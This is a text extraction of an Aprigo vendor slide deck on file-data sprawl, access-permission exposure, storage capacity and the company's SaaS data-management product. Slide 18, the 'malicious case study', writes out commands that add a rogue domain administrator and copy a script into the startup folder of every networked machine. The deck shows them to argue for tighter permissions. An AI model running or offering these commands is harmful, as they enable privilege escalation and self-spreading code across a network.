winning the war against data- strategies to beat your arch nemesis: files - gil zimmerman, aprigo

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TM Microsoft BizSpark Startup of the Day! Winning the war against data Strategies to beat your arch nemesis: files. Gil Zimmermann, CEO & Co-Founder

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Winning the war against data- Strategies to beat your arch nemesis: files - Gil Zimmerman, CEO and Co-Founder, Aprigo

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  • 1. Winning the war against data Strategies to beat your arch nemesis: files.
    • Gil Zimmermann, CEO & Co-Founder
  • 2. Spiceworks Preso Outline
    • Data Hates You
    • Data Deluge
    • ITs Problem
    • Best Practices:
    • Capacity
    • Access
    • Google Docs
    • Spiceworks Plug-in
    • Case Studies:
    • Innocent
    • Malicious
    • Aprigos Approach
    • Q&A
  • 3. On-Premise & Cloud Data (read: files) Identify & Act Access and Storage Control
  • 4. Attention : Your Data Hates You!
  • 5. Aprigo IT Benchmark
    • SaaS offering
    • Over 1,000 companies using Aprigo
    • Over 750TBs under management
    • Exposure at 95%
    • Cost savings potential at 71%
    • Installs in under 5 minutes
  • 6. Data Deluge is a Problem
    • Files exploding everywhere
    • 75-90% of all data is unstructured (files)
    • Valuable business asset
    • Touched by everyone
    • Vulnerable & exposed
    • Expensive to manage
  • 7. IT Owns the Data Problem Data Deluge Data Users Compliance & Regulation Business Data Dependence = IT Budgets IT Headcount No Mid-Market Solutions ~ IT Fires Exposure Disruption Waste
  • 8. Access Problem Math
    • ACLs allow 13 different rights to access an object
    • 12 practical combinations of ACE settings
    • Permissions can be granted or denied
    • 2^13*12 = 98,304 different access rights you can define
    • Can be applied to a user/group to form an ACE, unlimited number of ACEs can be combined into an ACL
    • Each file/folder can be attached to a different ACL
    • Millions of files, hundreds/thousands of users
    • Business needs to know who has access to what
  • 9. Access Best Practices
    • Typical Exposure (95+%)
      • Everyone (66%)
      • Domain Users (45%)
      • Explicit Permissions (92%)
      • Don't over-organize your users, use inheritance
    • Rogue Users
      • Local Admins (99%)
      • Outsiders are a new threat on Google Docs (98%)
    • Talk in business terms (exposure, audit, risk, etc)
  • 10. Access Use Cases
    • IT Audits
    • Help-Desk
    • Active Directory Migrations
    • IT GRC
    • Data Breaches
    • Data Forensics
    • Entitlement Reporting
  • 11. Capacity Best Practices
    • Start with the obvious:
      • Untouched in 90 days (81%)
      • Media files (35%) vs. documents (16%)
      • Large files over 100MBs (49%)
    • Gets harder every time, so dig deeper
      • Orphaned files (by owner)
      • Small files that multiply
    • Talk in business terms ($/GB, overhead, etc.)
  • 12. Capacity Use Cases
    • Disk Full
    • Data Center Consolidation
    • Data Migration
    • Storage Refresh
    • Backup/Replication Window Failure
    • Chargeback
    • Tiering
  • 13. Storage Planning
    • Understanding the data composition
      • Capacity
      • Cost (primary & secondary)
      • Growth rate
      • Ownership
    • Data-intensive initiatives
    • Reclaim costs by better utilization
  • 14. Google Docs Best Practices
    • Basic settings
      • Enable/disable sharing
      • Set up alerts for external sharing
      • Hope for the best...
    • Google Apps APIs
  • 15.
    • Dashboard plugin
      • Discover new shares on your network
    • Network Share tab
      • Preliminary access view
      • Capacity utilization
      • Available on any network share
      • Find exposure & savings w/Aprigo NINJA
    Spiceworks Integration
  • 16. Spiceworks Plug-in
  • 17. Innocent Case Study
    • Bill the CFO owns the Finance share
    • CMESRVFinanceSecrets contains some of the companys most sensitive data
    • Bill and his group have access
    • Domain Users is the default permission
    • All employees have access
    • Those with access can share...
  • 18. Malicious Case Study
    • BUILTINAdministrators
    • 2 Line script to get to DOMAINAdministrators
      • net user /domain /add rogueuser roguepass
      • net group /domain "Domain Admins" /add rogueuser
    • 1 more line to total network access
      • for /F %%i in ('net view') do copy /Y %0 "%%ic$documents and settingsall usersstart menuprogramsstartup"
  • 19. Aprigos Approach Data Dashboard Reports & Audits ! Alerts & Monitoring
      • Aprigo Cloud Infrastructure
    Capacity Management Access Management gDocs Management Access Auditing Cost Calculator IT Benchmark Go-FIX ISV Apps Customer Integrations
  • 20. Traditional Data Management LAN IT Environment Server NAS Appliances (NetApp / EMC) Windows File Servers Active Directory Metadata Collector UI Network Shares Web Services Agents Agents Agents Application Servers Analytics Servers Database Servers SAN
  • 21. SaaS Data Management LAN IT Environment THE APRIGO SOLUTION (Single SIte) Aprigo Back-End (SAS70-II Data Center) Web Services Application Servers Analytics Servers Database Servers SAN Encrypted HTTPS Traffic NAS Appliances (NetApp / EMC) Windows File Servers Active Directory Metadata Collector NINJA / UI Network Shares
  • 22. Data Dashboard
  • 23. Capacity Management
  • 24. Access Management
  • 25. Access Auditing
  • 26. IT Benchmarking
  • 27. Google Docs Access
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.
  • 33.
  • 34.
  • 35. Q & A
    • Functionality
    • Technology
    • Plug-in
    • On-Premise vs. Cloud
    • Suggestions/Thoughts
    • etc...
  • 36. Thank You!
  • 37. Customer Segments Education Financials Health IT Consultants Tech Oil
  • 38. Commercial Landscape SaaS / Cloud Aprigo is the only SaaS solution. Running in minutes, globally. Risk & Governance Storage & Data Mgmt Homegrown Low Cost / Ease-of-use / Scalability Complete Solution / Functionality Leaders Commodity